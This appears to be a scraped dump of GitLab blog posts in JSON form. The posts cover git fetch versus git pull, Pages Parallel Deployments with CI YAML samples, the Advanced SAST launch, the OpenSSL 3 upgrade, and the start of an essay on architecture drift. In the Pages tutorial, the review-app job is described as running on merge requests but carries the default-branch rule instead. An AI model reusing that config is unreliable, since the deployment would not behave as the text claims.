system](https://about.gitlab.com/topics/version-control/benefits-distributed-version-control-system/) and is used when synchronization with a remote repository is necessary. The developer needs to choose the appropriate commands based on the project's needs. In this article, we will explain the basics and differences between git fetch and git pull, and provide a detailed explanation of their respective use cases. \n\nTable of contents \n- [Git fetch and git pull basics](#git-fetch-and-git-pull-basics)\n- [What is git fetch?](#what-is-git-fetch%3F)\n- [What is git pull?](#what-is-git-pull%3F)\n- [When to use git fetch](#when-to-use-git-fetch)\n- [When to use git pull](#when-to-use-git-pull)\n- [Git fetch and git pull FAQs](#git-fetch-and-git-pull-faqs)\n\n## Git fetch and git pull basics \n\nGit fetch and git pull are both Git commands used to retrieve update information from a remote repository. So, how do they differ? Git fetch downloads the changes from the remote repository to the local repository but does not make any changes to the current working directory. Since the changes are not merged into the local branch, you can check the changes from the remote repository without interrupting your current work. On the other hand, git pull retrieves the latest changes from the remote repository like git fetch, but it also automatically merges those changes into the current branch. In contrast to git fetch, git pull directly applies the changes from the remote repository to the local working directory.\n\n## What is git fetch? \nThe git fetch command retrieves the latest commit history from the remote repository, but it does not affect the local working directory. Even after fetching remote changes, they are not reflected in the local branch. It is primarily used when you want to retrieve the latest status from the remote repository and review the changes before they are reflected in the local repository. To apply the retrieved changes to the local branch, you need to manually run git merge or [git rebase](https://docs.gitlab.com/ee/topics/git/git_rebase.html).\n\n## What is git pull? \nThe git pull command combines `git fetch` and `git merge` (or `git rebase`) into a single command. This allows you to fetch changes from the remote repository and automatically integrate them into the current local branch. \n\nWhile git fetch retrieves changes from the remote repository without applying them to the local branch, running git pull automatically integrates the changes from the remote repository into the local branch. \n\nGit pull is suitable for quickly reflecting remote changes in the local branch, but it can lead to conflicts, so caution is needed, especially when working with multiple people. \n\n## When to use git fetch \nGit fetch is a command used to retrieve the latest information from a remote repository. The retrieved information is not directly reflected in the local branch. Using git pull will reflect all remote branches, including incorrect or problematic ones, in the local branch. \n\nWhen changes are made simultaneously on both remote and local branches, or when there are new users on the team, it is safer to use git fetch to retrieve the remote branch contents first and then perform merge or rebase. \n\n## When to use git pull \nGit pull is a command that performs more processes compared to git fetch. Git pull can perform both git fetch and additionally execute git merge or git rebase. For this reason, git pull is recommended when you want to quickly reflect changes from the remote repository in the local branch. \n\n## Git fetch and git pull FAQs\n\n### What is the difference between git pull and git fetch? \nGit pull is a command that performs git fetch followed by git merge or git rebase. While git fetch does not affect the local repository, git pull automatically synchronizes changes from the remote repository with the local repository. \n\n### What precautions should be taken when using git pull? \nWhen executing git pull, there may be conflicts between remote and local changes. Merge conflicts are particularly likely to occur, so if conflicts arise, they need to be resolved manually. Additionally, using git pull --rebase allows you to incorporate the latest changes while performing a rebase. \n\n### What is git fetch used for? \nGit fetch is useful for checking and retrieving the latest status of the remote repository. However, the changes retrieved are not automatically reflected in the local branch; git fetch is used to synchronize the local and remote repositories. \n\n## Read more\n- [What's new in Git 2.46](https://about.gitlab.com/blog/whats-new-in-git-2-46-0/)\n- [Learn Git](https://docs.gitlab.com/ee/topics/git/)\n- [Learn about GitLab Gitaly](https://docs.gitlab.com/ee/administration/gitaly/)",[1067,815],{"slug":4439,"featured":6,"template":678},"git-pull-vs-git-fetch-whats-the-difference","content:en-us:blog:git-pull-vs-git-fetch-whats-the-difference.yml","Git Pull Vs Git Fetch Whats The Difference","en-us/blog/git-pull-vs-git-fetch-whats-the-difference.yml","en-us/blog/git-pull-vs-git-fetch-whats-the-difference",{"_path":4445,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4446,"content":4452,"config":4459,"_id":4461,"_type":16,"title":4462,"_source":17,"_file":4463,"_stem":4464,"_extension":20},"/en-us/blog/gitlab-pages-features-review-apps-and-multiple-website-deployment",{"title":4447,"description":4448,"ogTitle":4447,"ogDescription":4448,"noIndex":6,"ogImage":4449,"ogUrl":4450,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4450,"schema":4451},"GitLab Pages features review apps and multiple website deployment","GitLab Pages helps organizations reap the rewards of knowledge management, including better collaboration and accessibility. Learn how to use a new feature, Parallel Deployments.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674550/Blog/Hero%20Images/blog-image-template-1800x945__1_.png","https://about.gitlab.com/blog/gitlab-pages-features-review-apps-and-multiple-website-deployment","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Pages features review apps and multiple website deployment\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matthew Macfarlane\"},{\"@type\":\"Person\",\"name\":\"Janis Altherr\"}],\n        \"datePublished\": \"2024-09-23\",\n      }",{"title":4447,"description":4448,"authors":4453,"heroImage":4449,"date":4456,"body":4457,"category":695,"tags":4458,"updatedDate":1874},[4454,4455],"Matthew Macfarlane","Janis Altherr","2024-09-23","[GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) has long been a popular choice for hosting static websites, allowing users to showcase their projects, blogs, and documentation directly from their repositories.\n\nBefore GitLab 17.4, you could only have a single version of your GitLab Pages website. So you couldn’t preview your changes or have multiple versions of your website deployed simultaneously. Now, with a Premium or Ultimate license, you can do both!\n\n### Introducing Parallel Deployments\n\nWith Parallel Deployments, users can now easily preview changes and manage multiple environments for their GitLab Pages sites. This enhancement allows seamless experimentation with new ideas, enabling users to confidently test and refine their sites. By catching any issues early, users can ensure the live site remains stable and polished, building on the already great foundation of GitLab Pages.\n\n### Why Parallel Deployments is a game-changer\n\n1. **Version control made easy**\\\n   If your project involves software development or documentation that covers multiple versions (such as user guides for different software releases), Parallel Deployments makes it easy to manage. Or you can use the feature to localize your website for different languages.\n2. **Flexibility to experiment**\\\n   Want to try out a new design or feature? Parallel Deployments lets you experiment freely. You can create a separate version of your site to test new ideas without impacting the current site. This flexibility encourages creativity and continuous improvement.\n\n### How to add review apps to your GitLab Pages project\n\nTo add a review app to your GitLab Pages project, edit your `.gitlab-ci.yml` file to create a deployment for each merge request (MR). Let’s assume you start with a `.gitlab-ci.yml` file somewhat like this:\n\n```yaml\ncreate-pages:\n  stage: deploy\n  script:\n    - npm run build\n  pages: \n    publish: dist # the name of the folder containing the pages files\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # only run this job when there's a commit to the default branch\n```\n\nTo also run the pages pipeline when there’s an MR being opened or updated, we can add another rule to `pages.rules`:\n\n```yaml\n- if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n```\n\nIf we only add this rule, however, each Pages job will always replace the main deployment – each time an MR is opened! You likely don’t want that to happen.\n\nTo provide each individual deployment with its own URL, we’ve introduced the new `pages.path_prefix` property.\n\nA Pages deployment with this configuration...\n\n```yaml\ncreate-pages:\n  script:\n    - ...\n  pages:\n    ...\n    path_prefix: my-review-app\n```\n\n...will be available at `https://my-pages-app-7fe824.gitlab.io/my-review-app`, or, with unique domains disabled, `https://my-group.gitlab.io/my-project/my-review-app`.\n\nBut there’s no need to hardcode the path_prefix. You can dynamically generate it using CI variables. That’s particularly useful for review apps – to create a path for each MR, use the `CI_MERGE_REQUEST_IID variable`:\n\n```yaml\ncreate-pages:\n  script:\n    - ...\n  pages:\n    ...\n    path_prefix: mr-$CI_MERGE_REQUEST_IID\n```\n\nAn MR with the ID 114 would then automatically create a deployment at `https://my-pages-app-7fe824.gitlab.io/mr-114`.\n\nWith those concepts at hand, we’d like our pipeline to dynamically create either a main deployment for the default branch, or a path_prefixed-review app for MR events.\n\nFirst, let’s add a `create-pages-review-app` job to our pipeline config:\n\n```yaml\ncreate-pages-deployment:\n  # This job will create a pages deployment without path_prefix\n  # when there is a commit to the default branch\n  stage: deploy\n  script:\n    - npm run build\n  pages: \n    publish: dist \n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\ncreate-pages-review-app:\n  # This job will create a pages deployment with a path_prefix\n  # when there a merge request is created or updated.\n  stage: deploy\n  script:\n    - npm run build\n  pages:\n    publish: dist \n    path_prefix: 'mr-$CI_MERGE_REQUEST_IID' # Prefix with the mr-\u003Ciid>, like `mr-123`\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n```\n\nNow you’re creating a deployment both when pushing to the default branch, and prefixed parallel deployments when creating or updating MRs!\n\nFor the best experience, add the URL to the environment job property. This will add a link to the review app to the MR page:\n\n```yaml\ncreate-pages-deployment:\n  # This job will create a pages deployment without path_prefix\n  # when there is a commit to the default branch\n  stage: deploy\n  script:\n    - npm run build\n  pages: \n    publish: dist \n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n\ncreate-pages-review-app:\n  # This job will create a pages deployment with a path_prefix\n  # when there a merge request is created or updated.\n  stage: deploy\n  script:\n    - npm run build\n  pages:\n    publish: dist \n    path_prefix: 'mr-$CI_MERGE_REQUEST_IID' # Prefix with the mr-\u003Ciid>, like `mr-123`\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n  environment:\n    name: \"Pages Review MR ${CI_MERGE_REQUEST_IID}\"\n    url: $CI_PAGES_URL\n```\n\nCongratulations, you’ve now set up MR review apps for your Pages site.\n\n## How to deploy documentation for different versions of your product\n\nThe Parallel Deployments feature is also a useful tool if you maintain the documentation of multiple versions of your software simultaneously.\n\nThe below CI config will not only create a pages deployment when there is a commit to the default branch, but also for any commit to branches named `v1`, `v2`, or `v3`.\n\n```yaml\ncreate-pages:\n  stage: deploy\n  script:\n    - ...\n  variables:\n    PAGES_PREFIX: \"$CI_COMMIT_BRANCH\" # Use the branch name by default\n  pages:\n    path_prefix: \"$PAGES_PREFIX\" # use whatever value is set in the variable\n  environment:\n    name: \"Pages ${PAGES_PREFIX}\"\n    url: $CI_PAGES_URL\n  artifacts:\n    paths:\n    - public\n  rules:\n    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n      variables:\n        PAGES_PREFIX: '' # No prefix\n    - if: $CI_COMMIT_BRANCH == 'v1'\n    - if: $CI_COMMIT_BRANCH == 'v2'\n    - if: $CI_COMMIT_BRANCH == 'v3'\n```\n\nBy using the `$CI_COMMIT_BRANCH` variable as the path_prefix value, each of these branches will deploy their documentation to their own sub-path of your website:\n\n- The branch named v1 has its docs published to \u003Cmy-domain>/v1.\n- The branch named v2 has its docs published to \u003Cmy-domain>/v2.\n- The branch named v3 has its docs published to \u003Cmy-domain>/v3.\n\nA new commit to one of these branches will then trigger a new deployment to its respective path, keeping the documentation of multiple versions up to date.\n\nThe Parallel Deployments feature is a significant upgrade to GitLab Pages, offering a more flexible and efficient way to manage your knowledge. Whether you're working on a small project or a large-scale site with multiple versions, this new capability will make your workflow smoother and more efficient\n\n> Visit our [Parallel Deployments documentation](https://docs.gitlab.com/ee/user/project/pages/#create-multiple-deployments) to get started today!\n\n### Feedback\n\nShare your ideas and other comments in our [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/482040)!\n",[1899,110,943,754,695,696],{"slug":4460,"featured":6,"template":678},"gitlab-pages-features-review-apps-and-multiple-website-deployment","content:en-us:blog:gitlab-pages-features-review-apps-and-multiple-website-deployment.yml","Gitlab Pages Features Review Apps And Multiple Website Deployment","en-us/blog/gitlab-pages-features-review-apps-and-multiple-website-deployment.yml","en-us/blog/gitlab-pages-features-review-apps-and-multiple-website-deployment",{"_path":4466,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4467,"content":4474,"config":4480,"_id":4483,"_type":16,"title":4484,"_source":17,"_file":4485,"_stem":4486,"_extension":20},"/en-us/blog/gitlab-17-4-release",{"title":4468,"description":4469,"ogTitle":4468,"ogDescription":4469,"config":4470,"ogImage":4471,"ogUrl":4472,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4472,"schema":4473},"GitLab 17.4 Release","GitLab 17.4 released with improved context in GitLab Duo",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666419/Blog/Hero%20Images/product-gl17-blog-release-cover-17-4-0093-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-17-4-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 17.4 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alex Martin\"}],\n        \"datePublished\": \"2024-09-19\",\n      }",{"title":4468,"description":4469,"authors":4475,"heroImage":4471,"date":4477,"body":4478,"category":695,"tags":4479},[4476],"Alex Martin","2024-09-19","This is the post for [GitLab 17.4 release](https://about.gitlab.com/releases/2024/09/19/gitlab-17-4-released/).",[774,695,479,736],{"slug":4481,"featured":6,"template":678,"externalUrl":4482},"gitlab-17-4-release","https://about.gitlab.com/releases/2024/09/19/gitlab-17-4-released/","content:en-us:blog:gitlab-17-4-release.yml","Gitlab 17 4 Release","en-us/blog/gitlab-17-4-release.yml","en-us/blog/gitlab-17-4-release",{"_path":4488,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4489,"content":4495,"config":4500,"_id":4502,"_type":16,"title":4503,"_source":17,"_file":4504,"_stem":4505,"_extension":20},"/en-us/blog/gitlab-advanced-sast-is-now-generally-available",{"title":4490,"description":4491,"ogTitle":4490,"ogDescription":4491,"noIndex":6,"ogImage":4492,"ogUrl":4493,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4493,"schema":4494},"GitLab Advanced SAST is now generally available","Reduce false positives, shorten remediation time, and improve development velocity with a proprietary solution built into GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665917/Blog/Hero%20Images/blog-advanced-sast-creative-imagery-0390-1800x945-fy25.png","https://about.gitlab.com/blog/gitlab-advanced-sast-is-now-generally-available","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Advanced SAST is now generally available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Salman Ladha\"},{\"@type\":\"Person\",\"name\":\"Connor Gilbert\"}],\n        \"datePublished\": \"2024-09-19\",\n      }",{"title":4490,"description":4491,"authors":4496,"heroImage":4492,"date":4477,"body":4498,"category":674,"tags":4499},[750,4497],"Connor Gilbert","We’re excited to announce that our Advanced Static Application Security Testing (SAST) scanner is now generally available for all GitLab Ultimate customers. \n\nAdvanced SAST is a new scanner powered by the technology we [acquired from Oxeye](https://about.gitlab.com/blog/oxeye-joins-gitlab-to-advance-application-security-capabilities/) earlier this year. It uses a proprietary detection engine with rules informed by in-house security research to identify exploitable vulnerabilities in first-party code. It delivers more accurate results so developers and security teams don’t have to sort through the noise of false-positive results.\n\nUnlike other stand-alone security scanners, Advanced SAST is natively built into the GitLab DevSecOps platform, providing a developer experience free from the overhead that comes with integrating multiple point solutions. Using taint analysis, relevant context is surfaced to help developers remediate vulnerabilities within their existing workflow to maximize development velocity and application security. \n\nThis new scanner will work alongside our existing platform capabilities so developers and application security (AppSec) teams have the most comprehensive set of tools to ship more secure software, faster. \n\n## Applications are being developed faster but remain vulnerable \n\nThe pace of application development continues to accelerate, but remains a common attack vector for threat actors. Our recent [Global DevSecOps Report](https://about.gitlab.com/developer-survey/) found that 66% of companies are releasing software twice as fast — or faster — than in previous years, as businesses strive to deliver more value to their customers than competitors.\n\nHowever, speed introduces risk. Last year alone, [80% of the top data breaches](https://www.crowdstrike.com/2024-state-of-application-security-report/) stemmed from attacks at the application layer.\n\nThese two data points paint a clear picture: Application security tools must be built into existing developer workflows so businesses can stay competitive and secure. \n\n## What are SAST and Advanced SAST?  \n\nSAST is a [widely adopted method for improving application security](https://about.gitlab.com/developer-survey/) by scanning first-party source code to identify vulnerabilities, such as SQL injections or cross-site scripting, before they reach production. Unlike its dynamic counterpart, [DAST](https://about.gitlab.com/topics/devsecops/sast-vs-dast/), SAST scans code without executing it and is performed early in the software development lifecycle (SDLC). This proactive approach integrates security into the development process from the outset, significantly lowering the risk of future breaches.\n\n> Check out this [step-by-step tutorial](https://about.gitlab.com/blog/quick-vulnerability-remediation-with-gitlab-advanced-sast-duo-ai/) to put Advanced SAST to work in your environment.\n\n### Fewer false positives with contextual remediation\n\nThe integration of Oxeye’s technology into our platform means we’re able to provide a SAST solution AppSec teams can trust, built into the same GitLab platform developers love. Here’s how we’re able to do that and what it means for our customers: \n\n**Less time triaging vulnerabilities and more time launching features** \n* Our proprietary detection engine uses cross-function, cross-file taint analysis with rules informed by in-house security research to surface truly exploitable vulnerabilities and improve scan accuracy — that means lower false-positive rates. \n\n**Faster remediation with richer context** \n* Advanced SAST helps developers remediate security vulnerabilities by providing important context such as threat details and the path a vulnerability takes through a program. And, it’s integrated with [GitLab Duo Enterprise AI](https://about.gitlab.com/gitlab-duo/) to help developers understand and resolve vulnerabilities faster. AppSec teams can also scale their expertise by integrating third-party security training right into the GitLab platform. \n\n**Security built into developer workflows**\n* *Integrated* into the SDLC is not the same as *built* into the SDLC. Advanced SAST is a native component of our platform, ensuring security is incorporated within existing developer workflows. With a unified solution to manage the entire SDLC, developers can identify, prioritize, and remediate vulnerabilities without disrupting their flow.\n\nHere is an example of the findings of an Advanced SAST scan: \n\n![Advanced SAST - code flow](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675850/Blog/Content%20Images/code-flow_dark-mode__1_.png)\n\n## What to know about the Advanced SAST rollout\nIf you’re already using GitLab SAST, we want to ensure you have the chance to coordinate the rollout of Advanced SAST.\n\nHere are key points:\n* Advanced SAST scanning is available in GitLab 17.3 or newer, but it’s disabled by default so you can choose when to make the switch. You can [enable Advanced SAST](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html#configuration) for [the languages it supports](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html#supported-languages) across projects, groups, or your entire instance.\n* GitLab 17.4 includes helpful features that make it easier to switch to Advanced SAST, including a new [vulnerability code flow view](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-code-flow) and automatic translation from existing vulnerability records.\n* We plan to enable Advanced SAST by default in a future release, no later than GitLab 18.0. We’ll announce the final timeline and details soon.\n\nFor the latest updates on how to upgrade to Advanced SAST, check the [Advanced SAST documentation](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html). We also have a walkthrough in the video below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/xDa1MHOcyn8?si=2zVY_rRSu1wpHP__\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## What’s next for SAST  \nLooking ahead, we’re already working on [new features and improvements](https://about.gitlab.com/direction/secure/static-analysis/sast/) to help teams write more secure software together, faster. We’re particularly focused on:\n\n* **Upgrading more languages to Advanced SAST**, like PHP, Ruby, C, and C++, so more teams can benefit from more accurate vulnerability findings and cross-file, cross-function scanning.\n* **Real-time SAST scanning in the IDE**, so developers can write more secure code as they’re programming – before they even commit or push.\n* **Incremental scanning**, analyzing only modified code so developers can quickly identify vulnerabilities without waiting on full-repository scans. \n\n> If you’re an existing GitLab Ultimate customer and would like to learn more about how Advanced SAST can help improve your application security program, visit our [Advanced SAST documentation](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html) where we cover implementation requirements, use cases, and more.  \n\n***Disclaimer:** This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.*\n",[674,736,754,943,695],{"slug":4501,"featured":92,"template":678},"gitlab-advanced-sast-is-now-generally-available","content:en-us:blog:gitlab-advanced-sast-is-now-generally-available.yml","Gitlab Advanced Sast Is Now Generally Available","en-us/blog/gitlab-advanced-sast-is-now-generally-available.yml","en-us/blog/gitlab-advanced-sast-is-now-generally-available",{"_path":4507,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4508,"content":4514,"config":4520,"_id":4522,"_type":16,"title":4523,"_source":17,"_file":4524,"_stem":4525,"_extension":20},"/en-us/blog/gitlab-linux-package-being-upgraded-to-openssl-3",{"title":4509,"description":4510,"ogTitle":4509,"ogDescription":4510,"noIndex":6,"ogImage":4511,"ogUrl":4512,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4512,"schema":4513},"GitLab Linux package being upgraded to OpenSSL 3 in GitLab 17.7","OpenSSL 1 is now end-of-life. Learn which GitLab instances will be impacted, and how to update your external endpoints to support OpenSSL 3.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676004/Blog/Hero%20Images/blog-image-template-1800x945__6_.png","https://about.gitlab.com/blog/gitlab-linux-package-being-upgraded-to-openssl-3","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Linux package being upgraded to OpenSSL 3 in GitLab 17.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dilan Orrino\"}],\n        \"datePublished\": \"2024-09-18\",\n      }",{"title":4509,"description":4510,"authors":4515,"heroImage":4511,"date":4517,"body":4518,"category":834,"tags":4519},[4516],"Dilan Orrino","2024-09-18","In GitLab 17.7, the version of OpenSSL for Linux packages will be [updated to OpenSSL 3](https://docs.gitlab.com/ee/update/versions/gitlab_17_changes.html#1770). This upgrade changes the types of SSL connections the GitLab server can create and receive.\n\n## Which GitLab instances are impacted and how?\n\nFor self-managed users, all outbound connections from the GitLab instance will need to meet the minimum requirements of TLS 1.2 or above, along with at least 112-bit encryption for TLS certificates. Outbound connections not meeting this standard will fail. We recommend checking configured [external integrations](https://docs.gitlab.com/omnibus/settings/ssl/openssl_3.html#identifying-external-integrations) to ensure they are compatible with these minimum standards.\n\nInbound TLS connections to the GitLab server already require TLS 1.2 by default, as of [GitLab 12.0](https://about.gitlab.com/releases/2018/12/22/gitlab-11-6-released/#tls-v11-will-be-disabled-by-default-in-120).\n\n## Steps to take to address this change\n\nAdmins should take proactive measures to check your current external integration's TLS settings.  Ensure you are using at least TLS 1.2 or above for external connections, and that your encryption is 112-bit.\nFor those who are unsure how to verify your compliance with OpenSSL 3 for these external connections, you can follow this [OpenSSL 3 upgrade guide in our documentation](https://docs.gitlab.com/omnibus/settings/ssl/openssl_3.html).\n\nIf you are unable to update your version of TLS in time, we recommend you remain on GitLab 17.6 until you can change the TLS configuration of external integrations.\n\nIt is possible to configure OpenSSL Version 3 to support insecure connections, however, we do not recommend doing so as it reduces the security posture of your instance and overrides default settings.\n\n## Why this change is being made\n\nTypically, we would not make this change outside of a major release, however, we feel this change should be made more quickly in the interest of security. [GitLab removed TLS connection support older than 1.2 in 2018 for GitLab.com](https://about.gitlab.com/blog/gitlab-tls1011-discontinued-update/), and all inbound connections for self-managed in 12.0.\n\nWe discovered this change impacted outbound connections with limited customer impact in 17.3, so we opted to delay the move to OpenSSL 3 to GitLab 17.7 as a result. With [OpenSSL 1.1.1 now also end of life](https://openssl-library.org/post/2023-03-28-1.1.1-eol/), we believe the upgrade in 17.7 is the best balance of user experience and good security practices.\n\n## Keep your instances up to date\n\nThe GitLab team understands the potential impact this change may have, and we are committed to assisting our users in any way possible to ensure a smooth update process. We value your security and are constantly working towards improving it with every release.\n\nAs always, we highly recommend keeping your GitLab instance up-to-date with the latest releases to ensure you have access to the most advanced features and security updates. This upcoming OpenSSL 3 update is just one example of how crucial it is to stay current with our software.\n\nIn addition, we understand that staying compliant with TLS versions and encryption standards can be a daunting task for self-managed users. That's why we offer [extensive documentation and resources on our website](https://docs.gitlab.com/omnibus/settings/ssl/openssl_3.html) to help guide you through the process. Our [community forum](https://forum.gitlab.com/) is also a great place to ask questions and get support from other users who have gone through similar updates.\n",[674,695],{"slug":4521,"featured":6,"template":678},"gitlab-linux-package-being-upgraded-to-openssl-3","content:en-us:blog:gitlab-linux-package-being-upgraded-to-openssl-3.yml","Gitlab Linux Package Being Upgraded To Openssl 3","en-us/blog/gitlab-linux-package-being-upgraded-to-openssl-3.yml","en-us/blog/gitlab-linux-package-being-upgraded-to-openssl-3",{"_path":4527,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4528,"content":4534,"config":4539,"_id":4541,"_type":16,"title":4542,"_source":17,"_file":4543,"_stem":4544,"_extension":20},"/en-us/blog/navigate-application-architecture-drift-and-organizational-alignment",{"title":4529,"description":4530,"ogTitle":4529,"ogDescription":4530,"noIndex":6,"ogImage":4531,"ogUrl":4532,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4532,"schema":4533},"Navigate application architecture drift and organizational alignment","Explore how to manage architecture drift by balancing simplification and team realignment using the FINE Analysis. Ensure efficiency and agility throughout an application's lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676151/Blog/Hero%20Images/navigation.jpg","https://about.gitlab.com/blog/navigate-application-architecture-drift-and-organizational-alignment","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Navigate application architecture drift and organizational alignment\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Stephen Walters\"},{\"@type\":\"Person\",\"name\":\"Lee Faus\"}],\n        \"datePublished\": \"2024-09-18\",\n      }",{"title":4529,"description":4530,"authors":4535,"heroImage":4531,"date":4517,"body":4537,"category":734,"tags":4538},[3261,4536],"Lee Faus","Application architecture drift is a common phenomenon in software development as projects evolve and grow in complexity. When this happens, you face a critical decision: Should you simplify the application architecture to fit the current team topologies, or should you adjust your team topologies to match the changing application architecture? This decision is pivotal for maintaining efficiency, innovation, and success throughout an application's lifecycle, which spans years and includes stages from experimentation to production, maintenance, and, ultimately, the end of support.\n\n## What is application architecture drift?\n\nApplication architecture drift occurs when the initial design and structure of an application no longer align with its current state due to continuous improvement, feature additions, and technology advancements. This drift can lead to increased complexity, technical debt, and potential performance bottlenecks if not properly managed.\n\nTo effectively manage such drift, it's essential to consider the teaming topology that supports the application at different levels of application maturity. If your team structure does not accommodate the complexities of the application architecture, you risk a failure on deliverables, which leads to poor customer satisfaction metrics and loss of customer adoption.\n\nWhen team topologies properly adjust to application complexities, poor decisions on implementation details are minimized, resulting in a more scalable and resilient application architecture. As Conway’s Law states, “Organizations which design systems are constrained to produce systems which are copies of the communication structures of these organizations.\" This can result in unintended design additions due to organizational setup. In most cases, these additions can lead to weakened team identities, uncertain responsibilities, and poor team interactions and communications.\n\n## The role of team topologies in managing architecture drift\n\n[Team topologies](https://teamtopologies.com/) refer to the roles and responsibilities within a team and how they are organized to deliver value. When an application's architecture changes, it's crucial to assess whether your team structure is still optimal or if adjustments are needed. The FINE Analysis, as defined in the [Value Stream Reference Architecture](https://www.vsmconsortium.org/value-stream-reference-architectures), provides a valuable lens for evaluating and realigning team topologies throughout an application's lifecycle. FINE is defined as:\n\n* F = Flow of work\n* I = Impediments that slow down the flow of work\n* N = Needs that drive the potential for flow to happen\n* E = Effort that is used in the form of cognitive load\n\n### Experimentation phase\n\n- **Architecture:** Simple, flexible, and exploratory\n- **Team topology:** Small, cross-functional, adaptive teams\n- **FINE Analysis:** Stream-aligned teams will have a high Flow of work, with little initial Impedance, but with much fluctuation. Needs will be high, with a heavy reliance on enabling teams to establish standards and templates.\n- **Application architecture drift:** This will be frequent with rapid and constant change, but manageable due to early simplicity and smaller adaptive teams\n\n### Production phase\n\n- **Architecture:** More defined, scalable, and robust\n- **Team topology:** Larger, responsible, perceptible teams\n- **FINE Analysis:** The Flow of work is stabilized, but impedance starts to collect in the form of technical debt, issues and vulnerabilities. This drives up the Effort required on stream-aligned teams. At this point, enabling teams should have established ways of working and platform groups should start to reduce the cognitive load on teams. Complicated sub-systems will be defined and should be closely controlled.\n- **Application architecture drift:** This will be frequent with rapid and constant change as before. However, larger teams and a more robust but changing architecture will require higher levels of monitoring and management.\n\n### Maintenance phase\n\n- **Architecture:** Mature, stable, and optimized for efficiency\n- **Team topology:** Sustaining teams\n- **FINE Analysis:** The Needs for stream-aligned teams will reduce and be more dependent on actual customer and business outcomes. The Flow of work is much more impacted by Impediments, in particular any production issues. The Effort on teams can become exhaustive if platform groups are not stabilized and effective, enabling teams have to be responsive to continuous improvement.\n- **Application architecture drift:** Architectural changes will be far less frequent, and team structures will be aligned to ensure system stability. This is dependent upon the stability when exiting the production phase.\n\n### End-of-support phase\n\n- **Architecture:** Legacy, minimal updates, and decommissioning planning\n- **Team topology:** Transition teams\n- **FINE Analysis:** Flow of work is drastically reduced. Impedance will move to one of two ways, either reducing as production issues scale down due to lower customer usage, or increasing at a high cost due to legacy systems.\n- **Application architecture drift:** Minimal, if any, architectural drift, as teams should be focused on decommissioning over production.\n\n## Balancing simplification and realignment\n\nThe experimentation phase is important to establish the correct disciplines from the outset. The greatest risk of application architecture drift is then in the production phase. In maintenance, this risk is reduced, and, by end of support, should be negligible. So it is during the production phase, potentially the longest living phase for any business system, that we must ensure strong discipline to prevent the drift.\n\nWhen faced with architecture drift, organizations must decide between simplifying the application architecture to fit existing team topologies or adjusting team topologies to match the evolving architecture. Both approaches have their merits:\n\n- **Simplifying application architecture:** This approach can reduce complexity and technical debt, making it easier for existing teams to manage the application. However, it may limit the application's potential for growth and innovation.\n- **Adjusting team topologies:** Realigning teams to match the evolving architecture can enhance the application's capabilities and performance. This approach requires a more flexible organizational model and may involve retraining or restructuring teams.\n\nA key aspect is to consider **when** to make these adjustments, and the answer is as soon as possible. To leave adaptations for too long can cause the architectural drift to become so large that it inevitably leads to one of two events:\n\n- **Massive re-architecture:** This approach will lead to reduced effort in delivering new customer value, impacting business outcomes. In its own right, it can generate massive technical debt and increased work backlog for future efforts, resulting in increased team cognitive load.\n\n- **Re-organization:** Realigning teams on any kind of large scale will most certainly impact team morale. It can lead to a strain on key people and result in higher churn, especially of innovative talent. This can lead to lost IP knowledge and a future skills shortage, which in turn has an impact on the future quality of the designs and applications produced.\n\n## Next 